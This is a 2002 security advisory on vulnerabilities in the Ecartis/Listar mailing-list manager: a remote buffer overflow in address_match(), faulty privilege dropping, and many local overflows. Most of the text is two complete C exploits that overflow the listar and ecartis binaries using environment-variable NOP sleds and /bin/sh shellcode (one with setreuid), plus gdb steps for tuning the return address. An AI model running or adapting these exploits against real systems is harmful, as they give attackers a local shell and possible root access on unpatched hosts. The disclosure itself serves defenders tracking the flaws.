26th Sep 2002 [SBWID-5183]
COMMAND
Ecartis/Listar multiple vulns. may lead to remote and local root
SYSTEMS AFFECTED
All current versions are affected, including latest CVS snapshot
1.0.0-20020125.
PROBLEM
Janusz Niewiadomski and Wojciech Purczynski of iSEC Security Research
[http://isec.pl], posted :
1. Remotely exploitable buffer overflow in address_match()
All versions of Listar and versions prior 1.0.0 snapshot 20020125 of
Ecartis, contains buffer overflow in address_match() function, which
handles comparison between address received in From header and
addresses in local subscribers database. By issuing specially crafted
From header, remote attacker is able to overwrite return address of the
function and execute arbitrary code on system running list manager.
Working proof of concept code has been developed, but we are not going
to publish it at the moment.
2. Ineffective privilege dropping in listar
Some MTA (like postfix) may execute ecartis binary with non-privileged
user. In such a case ecartis does not change its privileges, regardless
whether it is installed setuid-root or setuid to non-privileged user.
This causes ecartis to work with UID of what it was called by MTA, and
EUID (also SUID and FSUID) it was installed setuid to.
In case of setuid to non-privileged user installations (most binary
packages) ecartis incorrectly drops its privileges:
(called with UID=root)
getuid() = root
geteuid() = ecartis
getegid() = ecartis
setuid(ecartis) = root
setgid(ecartis) = root
After above UID/GID initialization UID is still equal to root and no
UIDs are changed at all (at least on Linux, implementation of
setuid/setgid varies on other systems).
Working privileges are dropped correcly only when ecartis is called and
installed with root privileges and "lock-to-user" configuration option
is set. If "lock-to-user" is not set, ecartis displays warning message
but it continues to work with full root privileges.
Installing Ecartis setuid-root is not recommended, quoting from README
file:
"You probably want to create a ecartis user/group so that the program
runs as an unpriveledged user. Chmod the ecartis executable to this
user and make sure this user is a trusted user of your sendmail
program. Also make sure all the list directories have the correct
permissions and can be read/written by the ecartis user/group."
So the most safe Ecartis installation is not recommended and uncommon.
Notice that in all above cases, supplementary groups are not even
touched and they are left unchanged. This may lead ecartis to work with
supplementary groups it was called with, mostly mail or root.
3. Multiple local vulnerabilities
Ecartis/Listar contains infinite number of local buffer overflows and
other security holes. Most of these are very easily exploitable.
Unfortunately vendor seems to ignore our suggestions regarding further
analysis of presented examples, and general security audit of the code.
Exploit : (25 April 2002) by KF [[email protected]]
=======
/*
* /home/listar-0.129a/listar
*
* The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
* Exploit coded up by The Itch / Promisc (http://www.promisc.org)
*
* This exploit was developed on the Snosoft vulnerability research machines
*
* - The Itch
* - [email protected]
*
* - Technical details concerning the exploit -
*
* 1) Buffer overflow occurs after writing 990 bytes into the buffer at the command line
* (990 to overwrite ebp, 996 to overwrite eip).
* 2) The code string with the return address will be unaligned.
*
*/
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
#define DEFAULT_BUFFER_SIZE 1000
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char *argv[])
{
char *buff;
char *egg;
char *ptr;
long *addr_ptr;
long addr;
int bsize = DEFAULT_BUFFER_SIZE;
int eggsize = DEFAULT_EGG_SIZE;
int i;
int get_sp = 0xbffff4e0;
if(argc > 1) { bsize = atoi(argv[1]); }
if(!(buff = malloc(bsize)))
{
printf("unable to allocate memory for %d bytes\n", bsize);
exit(1);
}
if(!(egg = malloc(eggsize)))
{
printf("unable to allocate memory for %d bytes\n", eggsize);
exit(1);
}
printf("/home/listar-0.129a/listar\n");
printf("Vulnerability found by KF / http://www.snosoft.com\n");
printf("Coded by The Itch / http://www.promisc.org\n\n");
printf("Using return address: 0x%x\n", get_sp);
printf("Using buffersize : %d\n", bsize);
/* alignment */
ptr = buff + 2;
addr_ptr = (long *) ptr;
for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }
ptr = egg;
for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
{
*(ptr++) = NOP;
}
for(i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
egg[eggsize - 1] = '\0';
buff[bsize -1] = '\0';
memcpy(buff, "RET=", 4);
memcpy(egg, "EGG=", 4);
putenv(buff);
putenv(egg);
system("/home/listar-0.129a/listar $RET");
return 0;
}
/*
* /home/ecartis/ecartis
*
* The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
* Exploit coded up by The Itch / Promisc (http://www.promisc.org)
* Shellcode created by r0z / Promisc ([email protected])
*
* This exploit was developed on the Snosoft vulnerability research machines
*
* - The Itch
* - [email protected]
*
* - Technical details concerning the exploit -
*
* 1) Buffer overflow occurs after writing 996 bytes into the buffer at the command line
* (996 to overwrite ebp, 1000 to overwrite eip).
* 2) The code string with the return address will be unaligned.
* 3) Shellcode will try to do a setreuid(508);
*
* I had trouble reaching my own buffer in the enviroment dynamicly, so i gdb'ed it.
* If the exploit fails, comment the system() that runs ecarthis, uncomment the other system()
* The run this exploit, you will be in bash then, do: gdb /home/ecartis/ecartis
* in gdb, type: run $RET
* The program will probably then segfault, then type: x/200x $esp and press enter a couply
of times
* until you see alot of 0x90909090. Then pick on of those address and replace it with the
* int get_sp = 0xbffff550. Change the system() commands below back as how they were and rerun
the exploit.
*
*/
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
#define DEFAULT_BUFFER_SIZE 1000
/* setreuid(508); execve("/bin/sh", "sh", 0); (c) [email protected] */
char shellcode[] =
"\x31\xdb" /* xor %ebx, %ebx */
"\x31\xc9" /* xor %ecx, %ecx */
"\xf7\xe3" /* mul %ebx */
"\xb0\x46" /* mov $0x46, %al */
"\x66\xbb\xfc\x01" /* mov $0x1fc, %bx */
"\x49" /* dec %ecx */
"\xcd\x80" /* int $0x80 */
"\x31\xd2" /* xor %edx, %edx */
"\x52" /* push %edx */
"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
"\x89\xe3" /* mov %esp, %ebx */
"\x52" /* push %edx */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp, %ecx */
"\x6a\x0b" /* pushl $0xb */
"\x58" /* pop %eax */
"\xcd\x80"; /* int $0x80 */
int main(int argc, char *argv[])
{
char *buff;
char *egg;
char *ptr;
long *addr_ptr;
long addr;
int bsize = DEFAULT_BUFFER_SIZE;
int eggsize = DEFAULT_EGG_SIZE;
int i;
int get_sp = 0xbffff550;
if(argc > 1) { bsize = atoi(argv[1]); }
if(!(buff = malloc(bsize)))
{
printf("unable to allocate memory for %d bytes\n", bsize);
exit(1);
}
if(!(egg = malloc(eggsize)))
{
printf("unable to allocate memory for %d bytes\n", eggsize);
exit(1);
}
printf("/home/ecartis/ecartis\n");
printf("Vulnerability found by KF / http://www.snosoft.com\n");
printf("Coded by The Itch / http://www.promisc.org\n\n");
printf("Using return address: 0x%x\n", get_sp);
printf("Using buffersize : %d\n", bsize);
/* alignment */
ptr = buff + 2;
addr_ptr = (long *) ptr;
for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }
ptr = egg;
for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
{
*(ptr++) = NOP;
}
for(i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
putenv(egg);
buff[bsize - 1] = '\0';
memcpy(buff, "RET=", 4);
putenv(buff);
system("/home/ecartis/ecartis $RET");
// system("/bin/bash");
return 0;
}
SOLUTION
Only the first issue has been fixed in the lastest snapshot of Ecartis
development version, vendor released statement and fix informations on
listar-announce mailing list:
http://marc.10east.com/?l=listar-announce&m=101452659032650&w=2
All stable versions of Listar are still vulnerable to all above issues
and needs to be patched or upgraded to Ecartis after it is fixed.